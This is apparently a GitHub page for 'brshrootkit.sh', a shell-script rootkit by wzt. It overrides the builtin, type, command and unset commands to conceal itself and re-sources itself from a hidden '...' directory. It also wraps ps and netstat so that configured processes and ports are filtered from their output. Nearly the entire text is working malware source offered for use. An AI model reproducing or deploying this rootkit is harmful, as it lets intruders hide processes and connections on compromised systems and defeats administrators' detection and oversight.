-
Notifications
You must be signed in to change notification settings - Fork 219
/
Copy pathbrshrootkit.sh
172 lines (156 loc) · 3.65 KB
/
brshrootkit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/bin/sh
# Lightweight rootkit implemented by sh shell scripts v0.08
#
# by wzt 2015
#
BR_ROOTKIT_PATH="/home/$USER/.../"
builtin()
{
local fake_a
unset command
case $1 in
"set"|"unset"|"command"|"type")
fake_a="$(command builtin $1 $2)"
br_hide_engine "$fake_a"
reset_command
return ;;
"builtin")
echo "sh: builtin: builtin: syntax error, sh is not support."
reset_command
return ;;
*)
command builtin $1 $2
reset_command
;;
esac
}
type()
{
case $1 in
"builtin"|"set"|"unset"|"type")
echo "$1 is a shell builtin"
return ;;
"dir")
echo "dir is /usr/bin/dir"
return ;;
"ls")
echo "ls is aliased to ls --color=tty"
return ;;
"ps")
echo "ps is /bin/ps"
return ;;
"netstat")
echo "netstat is hashed (/usr/bin/netstat)"
return ;;
"/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/usr/bin/netstat")
echo "$1 is $1"
return ;;
*)
unset command
command type $1 $2
reset_command
return ;;
esac
}
fake_unset()
{
case $1 in
"builtin"|"command"|"set"|"unset"|"type")
echo "sh: syntax error, sh is not support."
return ;;
*)
unset $1 $2
return ;;
esac
}
fake_command()
{
case $1 in
"builtin"|"command"|"set"|"unset"|"type")
echo "sh: syntax error, sh is not support."
return ;;
*)
unset command
command $1 $2
reset_command
return ;;
esac
}
command()
{
case $1 in
"builtin")
builtin $2 $3
return ;;
"unset")
fake_unset $2 $3
. $BR_ROOTKIT_PATH/brshrootkit.sh
return ;;
"type")
type $2 $3
return ;;
"command")
fake_command $2 $3
return ;;
*)
unset command
command $2 $3
. $BR_ROOTKIT_PATH/brshrootkit.sh
return ;;
esac
}
reset_command()
{
command()
{
case $1 in
"builtin")
builtin $2 $3
return ;;
"set")
set $2 $3
return ;;
"unset")
fake_unset $2 $3
. $BR_ROOTKIT_PATH/brshrootkit.sh
return ;;
"type")
type $2 $3
return ;;
"command")
fake_command $2 $3
return ;;
*)
unset command
command $2 $3
. $BR_ROOTKIT_PATH/brshrootkit.sh
return ;;
esac
}
}
ps()
{
local proc_name hide_proc old_ifs
. $BR_ROOTKIT_PATH/brshconfig.sh
br_load_config $BR_ROOTKIT_PATH/brsh.conf
old_ifs=$IFS; IFS=","
echo $br_hide_proc
proc_name=`/bin/ps $@`
proc_name=`echo "$proc_name" | sed '/'$br_hide_proc'/d'`
#proc_name=`echo "$proc_name" | sed '/sh/d'`
echo "$proc_name"
IFS=$old_ifs
}
netstat()
{
local hide_port tmp_port old_ifs
. $BR_ROOTKIT_PATH/brshconfig.sh
br_load_config $BR_ROOTKIT_PATH/brsh.conf
echo $br_hide_port
old_ifs=$IFS; IFS=","
tmp_port=`/usr/bin/netstat $@`
tmp_port=`echo "$tmp_port" | sed '/'$br_hide_port'/d'`
#tmp_port=`echo "$tmp_port" | sed '/22/d'`
echo "$tmp_port"
IFS=$old_ifs
}